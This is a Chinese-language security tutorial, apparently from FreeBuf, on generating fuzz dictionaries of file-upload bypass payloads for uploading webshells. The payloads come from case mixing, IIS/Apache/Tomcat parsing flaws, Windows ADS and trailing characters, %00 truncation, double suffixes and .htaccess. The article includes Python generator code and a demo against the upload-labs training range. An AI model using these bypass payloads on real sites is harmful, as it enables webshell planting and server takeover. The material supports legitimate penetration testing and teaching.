上傳漏洞的利用姿勢很多,同時也會因爲語言,中間件,操作系統的不同,利用也不同。比如有:大小寫混合,.htaccess,解析漏洞,00截斷,.繞過,空格繞過,::$DATA繞過,以及多種姿勢的組合等等。當遇到一個上傳點,如何全面的利用以上姿勢測試一遍,並快速發現可以成功上傳webshell的姿勢?
方案一:一個一個手工測試
手工把所有姿勢測試一遍,先不說花費大量時間,還很可能會遺漏掉某些姿勢而導致無法利用成功。
方案二:fuzz
在fuzz時我們往往會給一個輸入點喂入大量特殊的數據。這個特殊的數據可能隨機的,毫無規律的,甚至我們都無法預知的。但我思考了一下,這樣的fuzz方式只是適合在本地fuzz 0day漏洞,並不適合通過fuzz在線網站的上傳點,快速找出可以成功上傳webshell的payload,因爲時間成本排在哪裏。
通過思考,我們可以知道如果能根據上傳漏洞的場景(後端語言,中間件,操作系統)來生成優質的fuzz字典,然後使用該字典進行fuzz,就能消除以上兩個解決方案的弊端!
一、構想
在動手之前我們來思考下上傳漏洞跟那些因素有關:
1.可解析的後綴,也就是該語言有多個可解析的後綴,比如php語言可解析的後綴爲php,php2,php3等等
2.大小寫混合,如果系統過濾不嚴,可能大小寫可以繞過。
3.中間件,每款中間件基本都解析漏洞,比如iis就可以把xxx.asp;.jpg當asp來執行。
4.系統特性,特別是Windows的後綴加點(.),加空格,加::$DATA可以繞過目標系統。
5.語言漏洞,流行的三種腳本語言基本都存在00截斷漏洞。
6.雙後綴,這個與系統和中間件無關,偶爾會存在於代碼邏輯之中。
整理以上思考,我們把生成字典的規則梳理爲以下幾條:
可解析的後綴+大小寫混合 可解析的後綴+大小寫混合+中間件漏洞 .htaccess + 大小寫混合 可解析的後綴+大小寫混合+系統特性 可解析的後綴+大小寫混合+語言漏洞 可解析的後綴+大小寫混合+雙後綴
下面我們根據上面的構想,來分析每一方面的細節,並使用代碼來實現。
二、可解析後綴
其實很多語言都這樣,有多個可以解析後綴。當目標站點採用黑名單時,往往包含不全。以下我收集相對比較全面的可解析後綴,爲後面生成字典做材料。
語言 | 可解析後綴 |
---|---|
asp/aspx | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
三、大小寫混合
有些網站過濾比較簡單,只是過濾了腳本後綴,但是沒有對後綴進行統一轉換爲小寫,在進行判斷。這就純在一個大小寫問題。這裏我們可以編寫兩個函數,一個函數是傳入一個字符串,函數返回該字符串所有大小寫組合的可能,第二個函數是基於第一個函數,把一個list的傳入返回一個list內所有字符的所有大小寫組合的可能。
## 字符串大小寫混合,返回字符串所有大寫可能 def str_case_mixing(word): str_list = [] word = word.lower() tempWord = copy.deepcopy(word) plist = [] redict = {} for char in range( len( tempWord ) ): char = word[char] plist.append(char) num = len( plist ) for i in range( num ): for j in range( i , num + 1 ): sContent = ''.join( plist[0:i] ) mContent = ''.join( plist[i:j] ) mContent = mContent.upper() eContent = ''.join( plist[j:] ) content = '''%s%s%s''' % (sContent,mContent,eContent) redict[content] = None for i in redict.keys(): str_list.append(i) return str_list ## list大小寫混合 def list_case_mixing(li): res = [] for l in li: res += uperTest(l) return res
四、中間件的漏洞
這塊是比較複雜的一塊。首先我們先來梳理下
4.1 iis
iis一共有三個解析漏洞:
1.IIS6.0文件解析 xx.asp;.jpg2.IIS6.0目錄解析 xx.asp/1.jpg3.IIS 7.0畸形解析 xxx.jpg/x.asp
由於2和3和上傳的文件名無關,故我們只根據1來生成fuzz字典
def iis_suffix_creater(suffix): res = [] for l in suffix: str ='%s;.%s' % (l,allow_suffix) res.append(str) return res
4.2 apache
apache相關的解析漏洞有兩個:
1.%0a(CVE-2017-15715) 2.未知後綴 test.php.xxx
根據以上構造apache_suffix_builder
函數生成規則:
def apache_suffix_creater(suffix): res = [] for l in suffix: str = '%s.xxx' % l res.append(str) str = '%s%s' % (l,urllib.unquote('%0a')) #CVE-2017-15715 res.append(str) return res
4.3 nginx
nginx解析漏洞有三個:
訪問連接加/xxx.php test.jpg/xxx.php 畸形解析漏洞 test.jpg%00xxx.php CVE-2013-4547 test.jpg(非編碼空格)\0x.php
nginx的解析漏洞,由於和上傳的文件名無關,故生成字典無需考慮。
4.4 tomcat
tomcat用於上傳繞過的有三種,不過限制在windows操作系統下。
xxx.jsp/ xxx.jsp xxx.jsp::$DATA
根據以上規則生成字典對應的代碼爲:
win_tomcat = ['%20','::$DATA','/'] def tomcat_suffix_creater(suffix): res = [] for l in suffix: for t in win_tomcat: str = '%s%s' % (l,t) res.append(str) return res
如果確定中間件爲apache,可以加入.htaccess。同時如果操作系統還爲windows,我們可以大小寫混合。
if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'): htaccess_suffix = uperTest(".htaccess") elif (middleware == 'apache' or middleware == 'all') and os == 'linux': htaccess_suffix = ['.htaccess'] else: htaccess_suffix = []
4.5 語言,中間件與操作系統的關係
以上我們根據每個中間件的漏洞,編寫了對應的fuzz字典生成函數。在最終生成字典時,我們還要考慮中間件可以運行那些語言,以及它們與平臺的關係。
語言 | IIS | Apache | Tomcat | Window | Linux |
---|---|---|---|---|---|
asp/aspx | √ | √ | × | √ | √ |
php | √ | √ | √ | √ | √ |
jsp | √ | × | √ | √ | √ |
根據上表,我們明白:
iis下可以運行asp/aspx,php,jsp腳本,故這3種腳本語言可解析後綴均應該傳入iis_suffix_builder()進行處理;
apache下可以運行asp/aspx,php。故這2兩種腳本語言可解析後綴均應該傳入apache_suffix_builder()進行處理;
tomcat下可以運行php,jsp,故這兩個腳本語言可解析後綴均應該傳入tomcat_suffix_builder()進行處理。
注意:根據對tomcat上傳的繞過分析,發現之後在windows平臺下才能成功。故之後在Windows平臺下才會調用tomcat_suffix_builder()
對可解析後綴進行處理。
故僞代碼可以編寫如下:
if middleware == 'iis': case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix) elif middleware == 'apache': case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix) elif middleware == 'tomcat' and os == 'linux': middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix elif middleware == 'tomcat' and (os == 'win' or os == 'all'): case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix) else: case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix) case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix) case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix) middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix
五、系統特性
經過查資料,目前發現在系統層面,有以下特性可以被上傳漏洞所利用。
Windows下文件名不區分大小寫,Linux下文件名區分大寫歐西;
Windows下ADS流特性,導致上傳文件xxx.php::$DATA = xxx.php;
Windows下文件名結尾加入.
,空格
,<
,·>
,>>>
,0x81-0xff
等字符,最終生成的文件均被windows忽略。
# 生成0x81-0xff的字符list def str_81_to_ff(): res = [] for i in range(129,256): str = '%x' % i str = '%' + str str = urllib.unquote(str) res.append(str) return res windows_os = [' ','.','/','::$DATA','<','>','>>>','%20','%00'] + str_81_to_ff() def windows_suffix_builder(suffix): res = [] for s in suffix: for w in windows_os: str = '%s%s' % (s,w) res.append(str) return res
六、語言的漏洞
語言漏洞被利用於上傳的有%00截斷和0x00截斷。它們在asp,php和jsp中都存在着。
def str_00_truncation(suffix,allow_suffix): res = [] for i in suffix: str = '%s%s.%s' % (i,'%00',allow_suffix) res.append(str) str = '%s%s.%s' % (i,urllib.unquote('%00'),allow_suffix) res.append(str) return res
七、雙後綴
有些站點通過對上傳文件名進行刪除敏感字符(php,asp,jsp等等)的方式進行過濾,例如你上傳一個aphp.jpg的文件,那麼上傳之後就變成了a.jpg。這時就可以利用雙後綴的方式上傳一個a.pphphp,最終正好生成a.php。其實雙後綴與中間件和操作系統無關,而是和代碼邏輯有關。
針對雙後綴,我們可以寫個str_double_suffix_creater(suffix)
函數,傳入後綴名suffix即可生成所有的雙後綴可能。
def str_double_suffix_creater(suffix): res = [] for i in range(1,len(suffix)): str = list(suffix) str.insert(i,suffix) res.append("".join(str)) return res
在list_double_suffix_creater(suffix)
函數基礎上,可以編寫list_double_suffix_creater(list_suffix)
來爲一個list生成所有雙後綴可能。
def list_double_suffix_creater(list_suffix): res = [] for l in list_suffix: res += double_suffix_creater(l) return duplicate_removal(res)
八、整合代碼
上面我們針對和上傳漏洞相關的每個方面進行了細緻的分析,也提供了相關的核心代碼。最終整合後的代碼限於邊幅,就放在github上了。
github:https://github.com/c0ny1/upload-fuzz-dic-builder
$ python upload-fuzz-dic-builder.py -h usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o] optional arguments: -h, --help show this help message and exit -n , --upload-filename Upload file name -a , --allow-suffix Allowable upload suffix -l , --language Uploaded script language -m , --middleware Middleware used in Web System --os Target operating system type -d, --double-suffix Is it possible to generate double suffix? -o , --output Output file
腳本可以之定義生成的上傳文件名(-n),允許的上傳的後綴(-a),後端語言(-l),中間件(-m),操作系統(—os),是否加入雙後綴(-d)以及輸出的字典文件名(-o)。我們可以根據場景來生成合適的字典,提供的信息越詳細,腳本生成的字典越精確。
九、案例
upload-labs靶場的Pass-03到Pass-10其實都是關於後綴的,在不知道代碼的情況下,我們如何快速發現可以繞過的後綴呢?這時我們就可以使用upload-fuzz-dic-builder.py
腳本生成fuzz字典,來進行fuzz。這裏我選擇Pass-09來給大家演示。
1.利用腳本生成fuzz字典
由於知道我們的後端語言爲php
,中間件爲apache
,操作系統爲Windows
。所以可以利用這些信息生成更精確的fuzz字典。
$ python upload-fuzz-dic-builder.py -l php -m apache --os win [+] 收集17條可解析後綴完畢! [+] 加入145條可解析後綴大小寫混合完畢! [+] 加入152條中間件漏洞完畢! [+] 加入37條.htaccess完畢! [+] 加入10336條系統特性完畢! [+] 去重後共10753條數據寫入upload_fuzz_dic.txt文件
2.抓包使用burp的Intruder模塊對上傳名稱進行fuzz
抓取upload-labs的Pass-09的上傳包,發送到Intruder模塊,加載第一步腳本生成的fuzz字典,對上傳的包的文件名進行fuzz。
經過測試,通過fuzz可以快速找到可以突破upload-labs那些基於後綴的Pass的payload。甚至fuzz出同一個Pass多種繞過的方法。
*本文作者:gv·殘亦,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載